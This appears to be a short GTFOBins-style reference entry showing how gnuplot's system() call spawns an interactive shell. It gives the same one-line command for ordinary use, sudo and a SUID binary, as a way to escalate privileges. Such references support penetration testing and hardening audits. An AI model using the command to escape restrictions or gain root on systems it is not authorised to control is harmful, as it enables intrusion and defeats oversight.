This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
gnuplot -e 'system("/bin/sh 1>&0")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gnuplot -e 'system("/bin/sh 1>&0")'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
gnuplot -e 'system("/bin/sh 1>&0")'